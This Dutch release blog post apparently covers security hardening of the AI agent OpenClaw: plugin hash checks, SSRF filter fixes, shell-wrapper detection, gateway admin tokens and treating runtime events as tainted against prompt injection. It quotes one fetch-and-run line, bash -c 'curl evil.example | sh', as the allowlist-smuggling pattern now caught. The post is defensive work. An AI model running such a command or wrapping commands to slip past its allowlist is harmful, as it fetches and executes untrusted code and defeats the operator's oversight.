Het grootste deel van deze release-reeks zal niet op een screenshot verschijnen. Tien dagen, acht releases, en het leeuwendeel van de diff zit op plekken waar je nooit kijkt tenzij er iets misgaat — de plugin loader, de URL-resolver van de browser-tool, de gateway config-endpoints, de allowlist-tabellen, het dependency-manifest. Security-werk is stil by design. Deze post is de lange versie van de stilte.
Als je OpenClaw draait op een laptop waar ook je SSH-keys, je password manager, je nog niet afgeronde belastingaangifte en een browser die overal in gelogd is op staan — lees door. Dit is de release-reeks die veranderde wat de kreeft mag aanraken.
Plugins verifiëren nu, ze downloaden niet meer alleen
Vóór 4.7 deed het installeren van een plugin uit het registry wat je zou verwachten: archief binnenhalen, uitpakken, draaien. Het registry zelf werd vertrouwd; het archief werd niet opnieuw gecontroleerd. Als het CDN van het registry ergens halverwege werd vervangen, of een mirror werd vergiftigd, of iemand onderschepte aan de rand, dan installeerde de kreeft vrolijk wat er terugkwam.
4.7 sluit dat af. Elk plugin-archief is nu vastgeklonken aan een SHA-256-hash op publicatiemoment, en de installer weigert om iets uit te pakken waarvan de bytes niet matchen. Als je plugins schrijft, stuurt de openclaw plugin publish-flow de hash nu automatisch het manifest in — je hoeft niets te doen. Als je plugins installeert, is het eerste signaal dat er iets mis is een nette fout in plaats van een stille installatie.
De opvolg in 4.9 breidde dezelfde verificatie uit naar plugin-updates, die de check tot dan toe stilletjes oversloegen op de grond dat de oude versie al was goedgekeurd. Dat is precies het soort aanname waar aanvallers op zoeken. Die is weg.
Het SSRF-filter van de browser-tool, drie keer over
De browser-tool laat de kreeft pagina's ophalen, links volgen, kleine hoeveelheden JavaScript draaien en terugsturen wat hij vindt. Het is een van de nuttigste dingen in het product en ook een van de gevaarlijkste — alles wat URL's ophaalt namens een LLM kan worden overgehaald om de verkeerde URL's op te halen. Server-Side Request Forgery (SSRF) is de beleefde naam voor die faalmodus.
In deze tien dagen werd het SSRF-filter drie keer herschreven.
4.7 strakte de host-allowlist-check aan zodat hij na DNS-resolutie draait, niet ervoor. De oude versie vergeleek de hostname-string tegen de allowlist, en loste daarna pas op. Dat betekende dat een hostname die er extern uitzag maar via een gecontroleerde DNS-record resolvde naar 127.0.0.1 er doorheen kon glippen. Nu wordt het geresolvde IP gecheckt tegen de denylist van privé- en loopback-ranges, en als het daar binnen valt wordt het verzoek geweigerd, ongeacht hoe de naam eruitzag.
4.9 voegde IPv6-dekking toe. De vorige pass regelde 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8 en link-local — allemaal IPv4. De IPv6-equivalenten (fc00::/7, fe80::/10, ::1) werden technisch gedekt door de "niet in allowlist"-fallback, maar waren nooit end-to-end getest. 4.9 maakt ze tot first-class deny-regels en voegt de testmatrix toe.
4.10 sloot een achterdeur in het volgen van redirects. Als de eerste URL door het filter kwam maar een 302 afgaf naar een privé-IP, werd de redirect gevolgd zonder opnieuw te checken. Elke hop in een redirect-keten wordt nu onafhankelijk gefilterd. De browser-tool volgt de hele dag redirects van een publieke host naar een andere publieke host; hij volgt er geen van een publieke host naar 169.254.169.254, wat het adres is dat ertoe doet als je dit ooit in een cloud-instance draait.
4.14 is degene die voor sommigen een echte compatibility-breuk zal veroorzaken. Hij schakelt file:// URL's volledig uit van het browser-tool-oppervlak. Lokale bestanden lezen via de browser-tool was een ongedocumenteerd neveneffect waar een handvol workflows op was gaan leunen, en dat was verkeerd: lokale bestandsreads horen bij de file-tool, die zijn eigen sandbox-verhaal heeft. Als je browser.open('file://...') als shortcut gebruikte, moet je overstappen op file.read en de allowlist accepteren die die tool in jouw setup afdwingt.
Een nieuwe CLI om te auditen wat de kreeft mag draaien
4.10 levert openclaw exec-policy — een read-only CLI die de effectieve shell-executie-policy voor de huidige workspace dumpt. Hij vertelt je, op één scherm, welke commando's op de allowlist staan, welke geweigerd zijn, welke bevestiging vereisen, en wat de bron van elke regel is (user config, workspace config, plugin, default).
Dit is het ding om te draaien nadat je een nieuwe plugin hebt geïnstalleerd. Plugins kunnen shell-commando's registreren; de meeste zijn prima; een paar verbreden stilletjes wat de kreeft mag uitvoeren. Vóór 4.10 was er geen enkel oppervlak om het gecombineerde resultaat te zien — je moest meerdere config-bestanden lezen en over precedentie redeneren. Nu is het één commando en is de output stabiel genoeg om in een test te pipen.
De bijbehorende wijziging in 4.12 is kleiner maar gemeen: de executielaag detecteert nu shell-wrapper-invocaties die commando's langs de allowlist proberen te smokkelen. Het klassieke patroon is bash -c 'curl evil.example | sh' wanneer bash is toegestaan en curl niet. De wrapper-detectie markeert de -c-vorm, pakt de interne commando-string uit en draait het interne commando door de allowlist alsof het direct was aangeroepen. Als het interne commando zou zijn geweigerd, wordt ook de buitenste wrapper geweigerd.
Gateway config-endpoints kregen bewakers
Als je OpenClaw in gateway-modus draait — de modus waarin meerdere clients één kreeft-instantie delen — stelt de gateway een kleine admin-API beschikbaar voor het lezen en schrijven van server-config. 4.7 en 4.14 strakten dit uiteinde aan.
4.7 splitste config.apply (vervang de hele config) en config.patch (merge een gedeeltelijke update) uit elkaar. Beide bestonden eerder al maar deelden één codepad, en de merge-semantiek was onderspecificeerd genoeg dat je een geneste admin-key kon verwijderen door een zusterveld te patchen. De splitsing geeft elk werkwoord zijn eigen validator. Patches zijn nu echte diepe merges, waarbij expliciete verwijdering de $delete-sentinel vereist; applies vereisen een volledige geldige config, anders wordt het verzoek geweigerd.
4.14 voegde een eis voor een gesigneerd token toe op beide endpoints wanneer de gateway aan iets anders dan localhost is gebonden. Als je de gateway op een dev-machine met --host 0.0.0.0 draaide en op netwerksegmentatie leunde om mensen buiten te houden — de gateway weigert nu te starten in die configuratie tenzij je ook --admin-token meegeeft of expliciet eruit opt met --admin-insecure. De naam van de flag is opzettelijk lelijk. Je zou het woord "insecure" moeten moeten typen om het oude gedrag terug te krijgen.
Credentials die per ongeluk template-data waren
4.12 repareerde een al lang bestaand lelijk ding: het .env.example-bestand dat bij nieuwe workspaces wordt meegeleverd bevatte placeholder-API-keys die er zo echt uitzagen dat ten minste één gebruiker ze in een publieke repo had gecommit, denkend dat het dummies waren. Het waren dummies — de waarden waren allemaal nul-strings en ongeldig bij elke provider — maar ze hadden de vorm van credentials en de linters die we checkten rapporteerden ze als gelekt. De nieuwe .env.example gebruikt overduidelijk nep-tokens (REPLACE_ME_OR_I_WILL_FAIL) en de openclaw init-flow weigert een .env te schrijven die een van die sentinel-waarden bevat.
Klein dingetje. Lage consequenties. Maar de kosten van het fixen waren één middag en de kosten van niet-fixen waren nog een publiek incident dat we zouden moeten uitleggen.
Allowlist-grenzen, stil aangetrokken
Over elke release in de reeks heen werden de allowlist-tabellen die tussen de kreeft en de buitenwereld zitten op kleine, specifieke manieren strakker:
- •4.5: de output-directory van de music-tool staat standaard op
./generated/music, niet meer op waar de workspace toevallig denkt dat "output" is. - •4.7: memory import-bronnen zijn beperkt tot
file://,https://en specifieke provider-URL's. De oude code accepteerde elke URL-scheme dieurllibkon parsen, waaronder enkele verrassende. - •4.9: het upload-pad van de videogeneratie-tool accepteert geen absolute paden meer buiten de workspace-root.
- •4.10: plugin-manifests mogen niet meer
*declareren als allowlist-patroon. Ze moeten specifieke domeinen of methoden noemen. - •4.14: de dedicated client van de Codex-provider respecteert een aparte allowlist van de unified, zodat het aantrekken van Codex niet per ongeluk al het andere losser maakt.
Geen van deze is op zich een verhaal. Samen verplaatsen ze de blast radius in de juiste richting.
Vertrouwen in runtime-events, verlaagd
Een subtielere verandering die door 4.7, 4.9 en 4.14 loopt: events die van de runtime komen (tool-invocaties, model-outputs, plugin-callbacks) worden niet meer behandeld als vertrouwde input voor de policy-engine. Voorheen kon een tool die een gestructureerd event uitstootte latere allowlist-beslissingen beïnvloeden via data die hij zelf controleerde — de klassieke "prompt injection raakt de policy-laag"-faalmodus. Runtime-events gaan nu door een aparte sanitization-stap voordat ze enige latere policy-evaluatie kunnen beïnvloeden, en de policy-engine behandelt elk veld waarvan de herkomst "runtime" is als besmet, tenzij een menselijke operator het expliciet heeft vastgepind.
In de praktijk betekent dit dat sommige edge-case workflows die erop leunden dat de eigen tool-output van de kreeft zijn eigen gedrag vernauwde, moeten worden herschreven. De beoogde manier om gedrag te vernauwen is nu een policy-regel te schrijven, niet een tool een hint te laten uitstoten. Als je hier tegenaan loopt, is de exec-policy-CLI uit 4.10 de diagnostische tool.
Dependency-audit
4.9 en 4.14 draaiden allebei volledige cargo audit- en npm audit-passes en bumpten elke transitieve dependency met een openstaande advisory. Niets op de lijst werd tegen OpenClaw gebruikt, voor zover wij kunnen zien; dit is onderhoud, geen incident-response. De bumps zijn met opzet saai.
De ene niet-saaie bump: de WebSocket-library die de gateway gebruikt is in 4.14 een major version omhooggegaan, wat veranderde hoe close frames hun reason code rapporteren. Als je code had die event.reason op het disconnect-signaal van de gateway-socket las, is het nu een string in plaats van een buffer. Dit is een breaking change. Het wordt expliciet genoemd in de 4.14-changelog.
Het nieuwe signaal: AI-ondersteunde security-audit
Het laatste wat de moeite waard is om te noemen — 4.14 introduceerde een interne workflow waarbij een tweede model security-relevante diffs beoordeelt voordat ze worden gemerged. Het blokkeert geen merges; het laat commentaar achter. In deze reeks ving het twee dingen die een menselijke review had laten gaan: de IPv6-lekkage in de 4.9 SSRF-herschrijving (die pre-merge werd opgelost) en de $delete-sentinel-ambiguïteit in de 4.7 config.patch-splitsing (die de expliciete validator werd in plaats van de impliciete).
We willen niet overclaimen. Een tweede model is geen vervanging voor een tweede mens. Maar het is een tweede pass, en in tien dagen hard bewegend security-werk was het de pass die de twee dingen ving die anders mee zouden zijn gegaan. Het blijft.
De korte versie
Als je maar één ding uit deze post meeneemt: draai openclaw update om bij 4.14 uit te komen, draai dan één keer openclaw exec-policy om te zien wat de kreeft daadwerkelijk op jouw machine mag doen. Als de output je verrast, trek het aan. Het hele punt van de afgelopen tien dagen is dat je dat kunt.
En als je een van de mensen bent die de gateway op --host 0.0.0.0 draait zonder admin-token — fix dat alsjeblieft voordat je openclaw update draait, want 4.14 weigert te starten totdat je het hebt gedaan, en we hebben liever dat je eerst deze post leest dan dat je de foutmelding leest en aanneemt dat er iets kapot is.
